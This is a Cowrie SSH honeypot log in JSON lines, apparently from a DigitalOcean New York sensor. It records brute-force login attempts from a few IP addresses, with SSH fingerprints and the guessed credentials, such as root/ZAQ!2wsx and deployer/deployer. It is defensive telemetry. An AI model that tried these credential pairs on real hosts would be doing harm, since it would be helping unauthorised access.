{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":58178,"dst_ip":"159.203.135.109","dst_port":22,"session":"56e7489ae93e","protocol":"ssh","message":"New connection: 176.65.139.95:58178 (159.203.135.109:22) [session: 56e7489ae93e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:44.104979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:44.109456Z","src_ip":"176.65.139.95","session":"56e7489ae93e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:44.194959Z","src_ip":"176.65.139.95","session":"56e7489ae93e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"rocky","message":"login attempt [rocky/rocky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:44.496020Z","src_ip":"176.65.139.95","session":"56e7489ae93e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33434,"dst_ip":"159.203.135.109","dst_port":22,"session":"39718361ea24","protocol":"ssh","message":"New connection: 192.109.200.78:33434 (159.203.135.109:22) [session: 39718361ea24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:45.212977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:45.217588Z","src_ip":"192.109.200.78","session":"39718361ea24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:45.306178Z","src_ip":"192.109.200.78","session":"39718361ea24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"work","password":"work","message":"login attempt [work/work] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:45.558069Z","src_ip":"192.109.200.78","session":"39718361ea24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:45.580524Z","src_ip":"176.65.139.95","session":"56e7489ae93e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:46.644370Z","src_ip":"192.109.200.78","session":"39718361ea24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50620,"dst_ip":"159.203.135.109","dst_port":22,"session":"71721e136283","protocol":"ssh","message":"New connection: 192.109.200.78:50620 (159.203.135.109:22) [session: 71721e136283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:49.355115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:49.364058Z","src_ip":"192.109.200.78","session":"71721e136283","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:49.447221Z","src_ip":"192.109.200.78","session":"71721e136283","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tools","password":"tools","message":"login attempt [tools/tools] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:49.697907Z","src_ip":"192.109.200.78","session":"71721e136283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":44024,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d7774b07a74","protocol":"ssh","message":"New connection: 176.65.139.95:44024 (159.203.135.109:22) [session: 7d7774b07a74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:50.635644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:50.650776Z","src_ip":"176.65.139.95","session":"7d7774b07a74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:50.725701Z","src_ip":"176.65.139.95","session":"7d7774b07a74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:50.784945Z","src_ip":"192.109.200.78","session":"71721e136283","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@2026","message":"login attempt [root/root@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:51.076979Z","src_ip":"176.65.139.95","session":"7d7774b07a74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:52.223817Z","src_ip":"176.65.139.95","session":"7d7774b07a74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50632,"dst_ip":"159.203.135.109","dst_port":22,"session":"43516dae0467","protocol":"ssh","message":"New connection: 192.109.200.78:50632 (159.203.135.109:22) [session: 43516dae0467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:53.294451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:53.302265Z","src_ip":"192.109.200.78","session":"43516dae0467","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:53.385803Z","src_ip":"192.109.200.78","session":"43516dae0467","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amine","password":"amine","message":"login attempt [amine/amine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:53.637798Z","src_ip":"192.109.200.78","session":"43516dae0467","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:54.726518Z","src_ip":"192.109.200.78","session":"43516dae0467","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36292,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c99e5ecff9e","protocol":"ssh","message":"New connection: 159.203.92.129:36292 (159.203.135.109:22) [session: 5c99e5ecff9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:56.707301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:56.712310Z","src_ip":"159.203.92.129","session":"5c99e5ecff9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:56.716589Z","src_ip":"159.203.92.129","session":"5c99e5ecff9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Members","password":"123456","message":"login attempt [Members/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:56.730105Z","src_ip":"159.203.92.129","session":"5c99e5ecff9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":44028,"dst_ip":"159.203.135.109","dst_port":22,"session":"cda24ef8792a","protocol":"ssh","message":"New connection: 176.65.139.95:44028 (159.203.135.109:22) [session: cda24ef8792a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:57.450147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:57.454952Z","src_ip":"176.65.139.95","session":"cda24ef8792a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:57.551632Z","src_ip":"176.65.139.95","session":"cda24ef8792a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50634,"dst_ip":"159.203.135.109","dst_port":22,"session":"227fcf1de66c","protocol":"ssh","message":"New connection: 192.109.200.78:50634 (159.203.135.109:22) [session: 227fcf1de66c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:57.593341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:57.597763Z","src_ip":"192.109.200.78","session":"227fcf1de66c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:57.682150Z","src_ip":"192.109.200.78","session":"227fcf1de66c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:57.738887Z","src_ip":"159.203.92.129","session":"5c99e5ecff9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer","message":"login attempt [deployer/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:57.808000Z","src_ip":"176.65.139.95","session":"cda24ef8792a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZAQ!2wsx","message":"login attempt [root/ZAQ!2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:57.929874Z","src_ip":"192.109.200.78","session":"227fcf1de66c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:58.895588Z","src_ip":"176.65.139.95","session":"cda24ef8792a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:59.018503Z","src_ip":"192.109.200.78","session":"227fcf1de66c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49940,"dst_ip":"159.203.135.109","dst_port":22,"session":"a441ddd36b0a","protocol":"ssh","message":"New connection: 192.109.200.78:49940 (159.203.135.109:22) [session: a441ddd36b0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:01.640556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:01.645538Z","src_ip":"192.109.200.78","session":"a441ddd36b0a","protocol":"ssh"}
